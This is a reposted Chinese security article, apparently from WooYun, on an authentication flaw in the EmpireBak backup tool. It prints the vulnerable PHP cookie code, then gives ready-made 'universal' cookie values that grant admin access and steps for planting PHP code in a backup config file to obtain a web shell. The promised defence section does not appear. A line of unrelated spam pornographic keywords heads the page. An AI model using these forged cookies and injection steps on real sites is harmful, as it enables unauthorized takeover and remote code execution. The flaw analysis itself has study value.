欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

帝國(guó)備份王(Empirebak)萬(wàn)能cookie及拿shell方法與防御

  發(fā)布時(shí)間:2015-09-14 23:14:48   作者:佚名   我要評(píng)論
這篇文章主要介紹了帝國(guó)備份王(Empirebak)萬(wàn)能cookie及拿shell方法與防御,需要的朋友可以參考下
轉(zhuǎn)自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
1.偽造cookie登錄系統(tǒng)(其實(shí)這一步多余的,大多用戶(hù)連密碼都沒(méi)改,都是默認(rèn)的123456)

登錄成功設(shè)置4個(gè)cookie,看代碼

PHP Code復(fù)制內(nèi)容到剪貼板
  1. function login($lusername,$lpassword,$key,$lifetime=0){    
  2. global $set_username,$set_password,$set_loginauth,$set_loginkey;    
  3. if(emptyempty($lusername)||emptyempty($lpassword)) {     
  4. printerror("EmptyLoginUser","index.php");     
  5. }    
  6. //驗(yàn)證碼    
  7. if(!$set_loginkey)    
  8. {    
  9. if($key<>getcvar('checkkey')||emptyempty($key))    
  10. {    
  11. printerror("FailLoginKey","index.php");    
  12. }    
  13. }    
  14. if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    
  15. {    
  16. printerror("ErrorUser","index.php");    
  17. }    
  18. //認(rèn)證碼    
  19. if($set_loginauth&$set_loginauth!=$_POST['loginauth'])    
  20. {    
  21. printerror("ErrorLoginAuth","index.php");    
  22. }    
  23. $logintime=time();    
  24. $rnd=make_password(12);//生成隨機(jī)字符    
  25. $s1=esetcookie("bakusername",$lusername,0);    
  26. $s2=esetcookie("bakrnd",$rnd,0);//隨機(jī)字符    
  27. $s3=esetcookie("baklogintime",$logintime,0);    
  28. Ebak_SCookieRnd($lusername,$rnd);//    
  29. if(!$s1||!$s2)    
  30. {    
  31. printerror("NotOpenCookie","index.php");    
  32. }    
  33. printerror("LoginSuccess","admin.php");    
  34. }  

再看看make_password函數(shù)

PHP Code復(fù)制內(nèi)容到剪貼板
  1. function make_password($pw_length){    
  2. $low_ascii_bound=50;    
  3. $upper_ascii_bound=122;    
  4. $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    
  5. while($i<$pw_length)    
  6. {    
  7. mt_srand((double)microtime()*1000000);    
  8. $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    
  9. if(!in_array($randnum,$notuse))    
  10. {    
  11. $password1=$password1.chr($randnum);    
  12. $i++;    
  13. }    
  14. }    
  15. return $password1;    
  16. }  

這個(gè)函數(shù)只是生成隨機(jī)數(shù),再看看Ebak_SCookieRnd函數(shù)

PHP Code復(fù)制內(nèi)容到剪貼板
  1. function Ebak_SCookieRnd($username,$rnd){    
  2. global $set_loginrnd;//$set_loginrnd為config.php里面的驗(yàn)證隨機(jī)碼    
  3. $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//沒(méi)有把密碼加進(jìn)去,于是漏洞產(chǎn)生了    
  4. esetcookie("loginebakckpass",$ckpass,0);    
  5. }  

下面給出萬(wàn)能cookie(key:value):

XML/HTML Code復(fù)制內(nèi)容到剪貼板
  1. ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    
  2. ebak_bakrnd:35y5cCnnA4Kh    
  3. ebak_bakusername:admin    
  4. ebak_baklogintime:4070883661  

使用以上cookie即可直接訪問(wèn)admin.php

2.拿shell

后臺(tái)參數(shù)設(shè)置一般都設(shè)置好了,如果不能連接數(shù)據(jù)庫(kù),可以在數(shù)據(jù)庫(kù)設(shè)置里填個(gè)自己的遠(yuǎn)程數(shù)據(jù)庫(kù)

備份數(shù)據(jù),隨便找個(gè)數(shù)據(jù)庫(kù)備份,

然后到替換目錄文件內(nèi)容里,選擇剛才備份的數(shù)據(jù)庫(kù),

將”$b_table=”

替換成

“phpinfo();

$b_table=”


這里shell的路徑就是bdata/mysql_20141007221849/config.php

相關(guān)文章

最新評(píng)論